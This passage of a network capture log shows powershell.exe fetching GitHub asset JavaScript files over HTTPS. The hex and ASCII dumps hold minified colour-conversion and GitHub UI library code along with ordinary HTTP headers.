2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 28 31 2d 6c 29 2b 6c 29 29 2c 32 35 35 2a 28 31 2d 4d 61 74 68 2e 6d 69 6e 28 31 2c 72 2a 28 31 2d 6c 29 2b 6c 29 29 5d 7d 2c 61 2e 78 79 7a 2e 72 67 62 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 6e 2c 74 2c 72 3b 6c 65 74 20 6c 3d 65 5b 30 5d 2f 31 30 30 2c 61 3d 65 5b 31 5d 2f 31 30 30 2c 6f 3d 65 5b 32 5d 2f 31 30 30 3b 72 65 74 75 72 6e 20 6e 3d 28 6e 3d 33 2e 32 34 30 36 2a 6c 2b 2d 31 2e 35 33 37 32 2a 61 2b 2d 2e 34 39 38 36 2a 6f 29 3e 2e 30 30 33 31 33 30 38 3f 31 2e 30 35 35 2a 6e 2a 2a 28 31 2f 32 2e 34 29 2d 2e 30 35 35 3a 31 32 2e 39 32 2a 6e 2c 74 3d 28 74 3d 2d 2e 39 36 38 39 2a 6c 2b 31 2e 38 37 35 38 2a 61 2b 2e 30 34 31 35 2a 6f 29 3e 2e 30 30 33 31 33 30 38 3f 31 2e 30 35 35 2a 74 2a 2a 28 31 2f 32 2e 34 29 2d 2e 30 35 35 3a 31 Data Ascii: (1-l)+l)),255(1-Math.min(1,r(1-l)+l))]},a.xyz.rgb=function(e){let n,t,r;let l=e[0]/100,a=e[1]/100,o=e[2]/100;return n=(n=3.2406l+-1.5372a+-.4986o)>.0031308?1.055n*(1/2.4)-.055:12.92n,t=(t=-.9689l+1.8758a+.0415o)>.0031308?1.055t**(1/2.4)-.055:1
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 62 2e 61 6e 73 69 31 36 28 61 2e 68 73 76 2e 72 67 62 28 65 29 2c 65 5b 32 5d 29 7d 2c 61 2e 72 67 62 2e 61 6e 73 69 32 35 36 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 6e 3d 65 5b 30 5d 2c 74 3d 65 5b 31 5d 2c 72 3d 65 5b 32 5d 3b 72 65 74 75 72 6e 20 6e 3d 3d 3d 74 26 26 74 3d 3d 3d 72 3f 6e 3c 38 3f 31 36 3a 6e 3e 32 34 38 3f 32 33 31 3a 4d 61 74 68 2e 72 6f 75 6e 64 28 28 6e 2d 38 29 2f 32 34 37 2a 32 34 29 2b 32 33 32 3a 31 36 2b 33 36 2a 4d 61 74 68 2e 72 6f 75 6e 64 28 6e 2f 32 35 35 2a 35 29 2b 36 2a 4d 61 74 68 2e 72 6f 75 6e 64 28 74 2f 32 35 35 2a 35 29 2b 4d 61 74 68 2e 72 6f 75 6e 64 28 72 2f 32 35 35 2a 35 29 7d 2c 61 2e 61 6e 73 69 31 36 2e 72 67 62 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 6e 3d 65 25 31 30 3b 69 66 28 30 Data Ascii: b.ansi16(a.hsv.rgb(e),e[2])},a.rgb.ansi256=function(e){let n=e[0],t=e[1],r=e[2];return n===t&&t===r?n<8?16:n>248?231:Math.round((n-8)/24724)+232:16+36Math.round(n/2555)+6Math.round(t/2555)+Math.round(r/2555)},a.ansi16.rgb=function(e){let n=e%10;if(0
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 6c 5d 7d 2c 61 2e 68 63 67 2e 72 67 62 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 6e 3d 65 5b 30 5d 2f 33 36 30 2c 74 3d 65 5b 31 5d 2f 31 30 30 2c 72 3d 65 5b 32 5d 2f 31 30 30 3b 69 66 28 30 3d 3d 3d 74 29 72 65 74 75 72 6e 5b 32 35 35 2a 72 2c 32 35 35 2a 72 2c 32 35 35 2a 72 5d 3b 6c 65 74 20 6c 3d 5b 30 2c 30 2c 30 5d 2c 61 3d 6e 25 31 2a 36 2c 6f 3d 61 25 31 2c 69 3d 31 2d 6f 2c 75 3d 30 3b 73 77 69 74 63 68 28 4d 61 74 68 2e 66 6c 6f 6f 72 28 61 29 29 7b 63 61 73 65 20 30 3a 6c 5b 30 5d 3d 31 2c 6c 5b 31 5d 3d 6f 2c 6c 5b 32 5d 3d 30 3b 62 72 65 61 6b 3b 63 61 73 65 20 31 3a 6c 5b 30 5d 3d 69 2c 6c 5b 31 5d 3d 31 2c 6c 5b 32 5d 3d 30 3b 62 72 65 61 6b 3b 63 61 73 65 20 32 3a 6c 5b 30 5d 3d 30 2c 6c 5b 31 5d 3d 31 2c 6c 5b 32 5d 3d 6f 3b 62 Data Ascii: l]},a.hcg.rgb=function(e){let n=e[0]/360,t=e[1]/100,r=e[2]/100;if(0===t)return[255r,255r,255r];let l=[0,0,0],a=n%16,o=a%1,i=1-o,u=0;switch(Math.floor(a)){case 0:l[0]=1,l[1]=o,l[2]=0;break;case 1:l[0]=i,l[1]=1,l[2]=0;break;case 2:l[0]=0,l[1]=1,l[2]=o;b
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 65 28 29 3b 72 65 74 75 72 6e 22 30 30 30 30 30 30 22 2e 73 75 62 73 74 72 69 6e 67 28 74 2e 6c 65 6e 67 74 68 29 2b 74 7d 2c 61 2e 72 67 62 2e 67 72 61 79 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 5b 28 65 5b 30 5d 2b 65 5b 31 5d 2b 65 5b 32 5d 29 2f 33 2f 32 35 35 2a 31 30 30 5d 7d 7d 2c 31 30 37 33 34 3a 28 65 2c 6e 2c 74 29 3d 3e 7b 6c 65 74 20 72 3d 74 28 31 35 36 35 39 29 2c 6c 3d 74 28 38 35 30 37 29 2c 61 3d 7b 7d 3b 4f 62 6a 65 63 74 2e 6b 65 79 73 28 72 29 2e 66 6f 72 45 61 63 68 28 65 3d 3e 7b 61 5b 65 5d 3d 7b 7d 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 61 5b 65 5d 2c 22 63 68 61 6e 6e 65 6c 73 22 2c 7b 76 61 6c 75 65 3a 72 5b 65 5d 2e 63 68 61 6e 6e 65 6c 73 7d 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: e();return"000000".substring(t.length)+t},a.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}},10734:(e,n,t)=>{let r=t(15659),l=t(8507),a={};Object.keys(r).forEach(e=>{a[e]={},Object.defineProperty(a[e],"channels",{value:r[e].channels}),Object.defi
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 36 39 2c 31 36 39 2c 31 36 39 5d 2c 64 61 72 6b 6b 68 61 6b 69 3a 5b 31 38 39 2c 31 38 33 2c 31 30 37 5d 2c 64 61 72 6b 6d 61 67 65 6e 74 61 3a 5b 31 33 39 2c 30 2c 31 33 39 5d 2c 64 61 72 6b 6f 6c 69 76 65 67 72 65 65 6e 3a 5b 38 35 2c 31 30 37 2c 34 37 5d 2c 64 61 72 6b 6f 72 61 6e 67 65 3a 5b 32 35 35 2c 31 34 30 2c 30 5d 2c 64 61 72 6b 6f 72 63 68 69 64 3a 5b 31 35 33 2c 35 30 2c 32 30 34 5d 2c 64 61 72 6b 72 65 64 3a 5b 31 33 39 2c 30 2c 30 5d 2c 64 61 72 6b 73 61 6c 6d 6f 6e 3a 5b 32 33 33 2c 31 35 30 2c 31 32 32 5d 2c 64 61 72 6b 73 65 61 67 72 65 65 6e 3a 5b 31 34 33 2c 31 38 38 2c 31 34 33 5d 2c 64 61 72 6b 73 6c 61 74 65 62 6c 75 65 3a 5b 37 32 2c 36 31 2c 31 33 39 5d 2c 64 61 72 6b 73 6c 61 74 65 67 72 61 79 3a 5b 34 37 2c 37 39 2c 37 39 5d 2c Data Ascii: 69,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 32 33 30 5d 2c 6d 61 67 65 6e 74 61 3a 5b 32 35 35 2c 30 2c 32 35 35 5d 2c 6d 61 72 6f 6f 6e 3a 5b 31 32 38 2c 30 2c 30 5d 2c 6d 65 64 69 75 6d 61 71 75 61 6d 61 72 69 6e 65 3a 5b 31 30 32 2c 32 30 35 2c 31 37 30 5d 2c 6d 65 64 69 75 6d 62 6c 75 65 3a 5b 30 2c 30 2c 32 30 35 5d 2c 6d 65 64 69 75 6d 6f 72 63 68 69 64 3a 5b 31 38 36 2c 38 35 2c 32 31 31 5d 2c 6d 65 64 69 75 6d 70 75 72 70 6c 65 3a 5b 31 34 37 2c 31 31 32 2c 32 31 39 5d 2c 6d 65 64 69 75 6d 73 65 61 67 72 65 65 6e 3a 5b 36 30 2c 31 37 39 2c 31 31 33 5d 2c 6d 65 64 69 75 6d 73 6c 61 74 65 62 6c 75 65 3a 5b 31 32 33 2c 31 30 34 2c 32 33 38 5d 2c 6d 65 64 69 75 6d 73 70 72 69 6e 67 67 72 65 65 6e 3a 5b 30 2c 32 35 30 2c 31 35 34 5d 2c 6d 65 64 69 75 6d 74 75 72 71 75 6f 69 73 65 3a 5b 37 32 2c Data Ascii: 230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,
2024-09-30 13:50:26 UTC	878	IN	Data Raw: 6f 6b 65 3a 5b 32 34 35 2c 32 34 35 2c 32 34 35 5d 2c 79 65 6c 6c 6f 77 3a 5b 32 35 35 2c 32 35 35 2c 30 5d 2c 79 65 6c 6c 6f 77 67 72 65 65 6e 3a 5b 31 35 34 2c 32 30 35 2c 35 30 5d 7d 7d 2c 38 35 30 37 3a 28 65 2c 6e 2c 74 29 3d 3e 7b 6c 65 74 20 72 3d 74 28 31 35 36 35 39 29 3b 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 65 74 20 65 3d 7b 7d 2c 6e 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 72 29 3b 66 6f 72 28 6c 65 74 20 74 3d 6e 2e 6c 65 6e 67 74 68 2c 72 3d 30 3b 72 3c 74 3b 72 2b 2b 29 65 5b 6e 5b 72 5d 5d 3d 7b 64 69 73 74 61 6e 63 65 3a 2d 31 2c 70 61 72 65 6e 74 3a 6e 75 6c 6c 7d 3b 72 65 74 75 72 6e 20 65 7d 28 29 2c 74 Data Ascii: oke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},8507:(e,n,t)=>{let r=t(15659);e.exports=function(e){let n=function(e){let n=function(){let e={},n=Object.keys(r);for(let t=n.length,r=0;r<t;r++)e[n[r]]={distance:-1,parent:null};return e}(),t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49754	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:26 UTC	450	OUT	GET /assets/vendors-node_modules_github_quote-selection_dist_index_js-node_modules_github_session-resume_-9a8cd2-373766bf71f1.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:26 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 41061 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 16:52:10 GMT ETag: "0x8DCDD8265CE7852" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 405133 Date: Mon, 30 Sep 2024 13:50:26 GMT X-Served-By: cache-iad-kjyo7100070-IAD, cache-ewr-kewr1740026-EWR X-Cache: HIT, HIT X-Cache-Hits: 23, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 07acf1756429abb81f6cf6062d5d16aa056b1b5f
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 76 65 6e 64 6f 72 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 71 75 6f 74 65 2d 73 65 6c 65 63 74 69 6f 6e 5f 64 69 73 74 5f 69 6e 64 65 78 5f 6a 73 2d 6e 6f 64 65 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 73 65 73 73 69 6f 6e 2d 72 65 73 75 6d 65 5f 2d 39 61 38 63 64 32 22 5d 2c 7b 36 36 36 36 31 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 66 75 6e 63 74 69 6f 6e 20 69 28 65 29 7b 6c 65 74 20 74 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 74 7c 7c 21 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["vendors-node_modules_github_quote-selection_dist_index_js-node_modules_github_session-resume_-9a8cd2"],{66661:(e,t,n)=>{function i(e){let t=e.parentNode;if(null===t\|\|!(t instanceof
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 22 29 7c 7c 22 22 2c 6e 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 29 3b 69 66 28 21 6e 29 74 68 72 6f 77 20 45 72 72 6f 72 28 29 3b 6c 65 74 20 69 3d 65 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 77 69 64 74 68 22 29 3f 60 20 77 69 64 74 68 3d 22 24 7b 61 28 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 77 69 64 74 68 22 29 7c 7c 22 22 29 7d 22 60 3a 22 22 2c 72 3d 65 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 68 65 69 67 68 74 22 29 3f 60 20 68 65 69 67 68 74 3d 22 24 7b 61 28 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 68 65 69 67 68 74 22 29 7c 7c 22 22 29 7d 22 60 3a 22 22 3b 72 65 74 75 72 6e 20 69 7c 7c 72 3f 60 3c 69 6d 67 20 61 6c 74 3d 22 24 7b 61 28 74 29 7d 22 24 7b 69 7d 24 7b 72 7d 20 73 72 63 3d 22 24 7b 61 28 Data Ascii: ")\|\|"",n=e.getAttribute("src");if(!n)throw Error();let i=e.hasAttribute("width")?` width="${a(e.getAttribute("width")\|\|"")}"`:"",r=e.hasAttribute("height")?` height="${a(e.getAttribute("height")\|\|"")}"`:"";return i\|\|r?`<img alt="${a(t)}"${i}${r} src="${a(
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 28 65 3d 74 68 69 73 2e 73 65 6c 65 63 74 69 6f 6e 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f 76 6f 69 64 20 30 3a 65 2e 72 61 6e 67 65 43 6f 75 6e 74 29 3f 74 68 69 73 2e 73 65 6c 65 63 74 69 6f 6e 2e 67 65 74 52 61 6e 67 65 41 74 28 30 29 3a 6e 65 77 20 52 61 6e 67 65 7d 73 65 74 20 72 61 6e 67 65 28 65 29 7b 76 61 72 20 74 2c 6e 3b 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 68 69 73 2e 73 65 6c 65 63 74 69 6f 6e 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 74 2e 72 65 6d 6f 76 65 41 6c 6c 52 61 6e 67 65 73 28 29 2c 6e 75 6c 6c 3d 3d 3d 28 6e 3d 74 68 69 73 2e 73 65 6c 65 63 74 69 6f 6e 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6e 7c 7c 6e 2e 61 64 64 52 61 6e 67 65 28 65 29 7d 73 65 74 20 70 72 6f 63 65 73 73 53 65 6c 65 63 74 69 6f 6e 54 65 78 74 46 6e 28 65 29 7b 74 Data Ascii: (e=this.selection)\|\|void 0===e?void 0:e.rangeCount)?this.selection.getRangeAt(0):new Range}set range(e){var t,n;null===(t=this.selection)\|\|void 0===t\|\|t.removeAllRanges(),null===(n=this.selection)\|\|void 0===n\|\|n.addRange(e)}set processSelectionTextFn(e){t
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 74 2e 63 72 65 61 74 65 44 6f 63 75 6d 65 6e 74 46 72 61 67 6d 65 6e 74 28 29 29 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 65 29 7d 65 6c 73 65 20 69 66 28 6c 26 26 6c 2e 70 61 72 65 6e 74 4e 6f 64 65 26 26 28 22 4f 4c 22 3d 3d 3d 6c 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 6e 6f 64 65 4e 61 6d 65 26 26 28 72 3d 69 28 6c 29 29 2c 21 6f 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 6c 69 22 29 29 29 7b 6c 65 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 6c 69 22 29 3b 69 66 28 21 6c 2e 70 61 72 65 6e 74 4e 6f 64 65 29 74 68 72 6f 77 20 45 72 72 6f 72 28 29 3b 6c 65 74 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 6c 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 6e 6f 64 65 4e 61 6d 65 29 3b 65 2e 61 70 Data Ascii: t.createDocumentFragment()).appendChild(e)}else if(l&&l.parentNode&&("OL"===l.parentNode.nodeName&&(r=i(l)),!o.querySelector("li"))){let e=document.createElement("li");if(!l.parentNode)throw Error();let t=document.createElement(l.parentNode.nodeName);e.ap
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 65 2e 64 65 74 61 63 68 28 29 7d 66 69 6e 61 6c 6c 79 7b 61 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 6c 29 7d 72 65 74 75 72 6e 20 74 68 69 73 2e 70 72 6f 63 65 73 73 53 65 6c 65 63 74 69 6f 6e 54 65 78 74 28 73 2e 74 72 69 6d 28 29 29 7d 7d 7d 2c 35 35 31 35 30 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 42 75 3a 28 29 3d 3e 63 2c 59 56 3a 28 29 3d 3e 6c 2c 6f 3a 28 29 3d 3e 73 7d 29 3b 6c 65 74 20 69 3d 6e 75 6c 6c 3b 66 75 6e 63 74 69 6f 6e 20 72 28 65 29 7b 72 65 74 75 72 6e 20 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 53 65 6c 65 63 74 45 6c 65 6d 65 6e 74 7c 7c 28 6f 28 65 29 3f 65 2e 63 68 65 63 6b 65 64 21 3d 3d 65 2e 64 65 66 61 75 6c 74 43 68 65 63 6b 65 64 3a 65 2e 76 61 6c 75 65 21 3d 3d 65 2e 64 65 66 61 75 6c 74 56 61 6c 75 Data Ascii: e.detach()}finally{a.removeChild(l)}return this.processSelectionText(s.trim())}}},55150:(e,t,n)=>{n.d(t,{Bu:()=>c,YV:()=>l,o:()=>s});let i=null;function r(e){return e instanceof HTMLSelectElement\|\|(o(e)?e.checked!==e.defaultChecked:e.value!==e.defaultValu
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 69 78 29 26 26 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 3a 22 73 65 73 73 69 6f 6e 2d 72 65 73 75 6d 65 3a 22 3b 74 72 79 7b 72 3d 6e 75 6c 6c 21 3d 3d 28 69 3d 6e 75 6c 6c 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 74 6f 72 61 67 65 29 26 26 76 6f 69 64 20 30 21 3d 3d 69 3f 69 3a 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 7d 6c 65 74 20 63 3d 60 24 7b 73 7d 24 7b 65 7d 60 3b 74 72 79 7b 6c 3d 72 2e 67 65 74 49 74 65 6d 28 63 29 7d 63 61 74 63 68 28 65 29 7b 7d 69 66 28 21 6c 29 72 65 74 75 72 6e 3b 6c 65 74 20 75 3d 5b 5d 2c 64 3d 5b 5d 3b 66 6f 72 28 6c 65 74 5b 65 2c 74 5d 6f 66 20 4a 53 4f 4e 2e 70 61 72 73 65 28 6c 29 29 7b 6c 65 74 20 6e 3d 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 73 65 73 73 69 6f Data Ascii: ix)&&void 0!==n?n:"session-resume:";try{r=null!==(i=null==t?void 0:t.storage)&&void 0!==i?i:sessionStorage}catch(e){return}let c=`${s}${e}`;try{l=r.getItem(c)}catch(e){}if(!l)return;let u=[],d=[];for(let[e,t]of JSON.parse(l)){let n=new CustomEvent("sessio
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 54 6f 70 7c 7c 30 2c 6e 3d 6e 2e 6f 66 66 73 65 74 50 61 72 65 6e 74 3b 76 61 72 20 69 3d 74 2d 75 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 70 61 67 65 59 4f 66 66 73 65 74 2c 72 3d 64 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 2d 28 69 2b 65 2e 6f 66 66 73 65 74 48 65 69 67 68 74 29 3b 72 65 74 75 72 6e 7b 74 6f 70 3a 69 2c 62 6f 74 74 6f 6d 3a 72 7d 7d 28 29 2c 6e 3d 74 2e 74 6f 70 2c 69 3d 74 2e 62 6f 74 74 6f 6d 3b 69 66 28 21 28 6e 3c 30 29 26 26 21 28 69 3c 30 29 29 7b 76 61 72 20 61 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 29 2c 63 3d 4d 61 74 68 2e 63 65 69 6c 28 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 62 6f 72 64 65 72 54 6f 70 57 69 64 74 68 29 29 2c 66 3d 4d 61 74 68 2e 63 65 69 6c 28 70 61 72 73 65 46 6c 6f 61 74 28 61 2e 62 6f 72 64 Data Ascii: Top\|\|0,n=n.offsetParent;var i=t-u.defaultView.pageYOffset,r=d.clientHeight-(i+e.offsetHeight);return{top:i,bottom:r}}(),n=t.top,i=t.bottom;if(!(n<0)&&!(i<0)){var a=getComputedStyle(e),c=Math.ceil(parseFloat(a.borderTopWidth)),f=Math.ceil(parseFloat(a.bord
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 68 65 63 6b 2d 61 6c 6c 22 29 3f 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 43 75 73 74 6f 6d 45 76 65 6e 74 26 26 74 2e 64 65 74 61 69 6c 29 7b 6c 65 74 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 65 7d 3d 74 2e 64 65 74 61 69 6c 3b 69 66 28 65 26 26 65 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 63 68 65 63 6b 2d 61 6c 6c 2d 69 74 65 6d 22 29 29 72 65 74 75 72 6e 7d 6c 65 74 20 72 3d 74 2e 74 61 72 67 65 74 3b 69 66 28 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 49 6e 70 75 74 45 6c 65 6d 65 6e 74 29 7b 66 6f 72 28 6c 65 74 20 74 20 6f 66 28 6e 3d 6e 75 6c 6c 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 64 Data Ascii: .hasAttribute("data-check-all")?function(t){if(t instanceof CustomEvent&&t.detail){let{relatedTarget:e}=t.detail;if(e&&e.hasAttribute("data-check-all-item"))return}let r=t.target;if(r instanceof HTMLInputElement){for(let t of(n=null,e.querySelectorAll("[d
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 68 61 6e 67 65 22 2c 72 29 7d 7d 7d 7d 2c 35 30 35 31 35 3a 28 65 2c 74 2c 6e 29 3d 3e 7b 6e 2e 64 28 74 2c 7b 4a 43 3a 28 29 3d 3e 54 2c 4b 4b 3a 28 29 3d 3e 53 65 71 75 65 6e 63 65 54 72 61 63 6b 65 72 2c 56 79 3a 28 29 3d 3e 6f 2c 61 69 3a 28 29 3d 3e 67 2c 6f 63 3a 28 29 3d 3e 73 2c 72 64 3a 28 29 3d 3e 75 7d 29 3b 6c 65 74 20 4c 65 61 66 3d 63 6c 61 73 73 20 4c 65 61 66 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 65 29 7b 74 68 69 73 2e 63 68 69 6c 64 72 65 6e 3d 5b 5d 2c 74 68 69 73 2e 70 61 72 65 6e 74 3d 65 7d 64 65 6c 65 74 65 28 65 29 7b 6c 65 74 20 74 3d 74 68 69 73 2e 63 68 69 6c 64 72 65 6e 2e 69 6e 64 65 78 4f 66 28 65 29 3b 72 65 74 75 72 6e 20 2d 31 21 3d 3d 74 26 26 28 74 68 69 73 2e 63 68 69 6c 64 Data Ascii: ventListener("change",r)}}}},50515:(e,t,n)=>{n.d(t,{JC:()=>T,KK:()=>SequenceTracker,Vy:()=>o,ai:()=>g,oc:()=>s,rd:()=>u});let Leaf=class Leaf{constructor(e){this.children=[],this.parent=e}delete(e){let t=this.children.indexOf(e);return -1!==t&&(this.child
2024-09-30 13:50:26 UTC	1378	IN	Data Raw: 3a 22 5b 22 2c 22 5c 75 32 30 31 38 22 3a 22 5d 22 2c 22 5c 78 61 62 22 3a 22 5c 5c 22 2c 5c 75 30 31 35 32 3a 22 51 22 2c 22 5c 75 32 30 31 45 22 3a 22 57 22 2c 22 5c 78 62 34 22 3a 22 45 22 2c 22 5c 75 32 30 33 30 22 3a 22 52 22 2c 5c 75 30 32 43 37 3a 22 54 22 2c 22 5c 78 63 31 22 3a 22 59 22 2c 22 5c 78 61 38 22 3a 22 55 22 2c 5c 75 30 32 43 36 3a 22 49 22 2c 22 5c 78 64 38 22 3a 22 4f 22 2c 22 5c 75 32 32 30 46 22 3a 22 50 22 2c 22 5c 75 32 30 31 44 22 3a 22 7b 22 2c 22 5c 75 32 30 31 39 22 3a 22 7d 22 2c 22 5c 78 62 62 22 3a 22 7c 22 2c 22 5c 78 65 35 22 3a 22 61 22 2c 22 5c 78 64 66 22 3a 22 73 22 2c 22 5c 75 32 32 30 32 22 3a 22 64 22 2c 5c 75 30 31 39 32 3a 22 66 22 2c 22 5c 78 61 39 22 3a 22 67 22 2c 22 5c 75 30 32 44 39 22 3a 22 68 22 2c 22 5c Data Ascii: :"[","\u2018":"]","\xab":"\\",\u0152:"Q","\u201E":"W","\xb4":"E","\u2030":"R",\u02C7:"T","\xc1":"Y","\xa8":"U",\u02C6:"I","\xd8":"O","\u220F":"P","\u201D":"{","\u2019":"}","\xbb":"\|","\xe5":"a","\xdf":"s","\u2202":"d",\u0192:"f","\xa9":"g","\u02D9":"h","\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.7	49755	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:29 UTC	400	OUT	GET /assets/ui_packages_updatable-content_updatable-content_ts-3f4401350bd7.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:29 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 12475 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Wed, 25 Sep 2024 07:22:43 GMT ETag: "0x8DCDD32D912D96C" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 453099 Date: Mon, 30 Sep 2024 13:50:29 GMT X-Served-By: cache-iad-kjyo7100135-IAD, cache-ewr-kewr1740035-EWR X-Cache: HIT, HIT X-Cache-Hits: 26, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 6f94ce33ad0f1c40c8e6823f20a1cfd7a5b1da3b
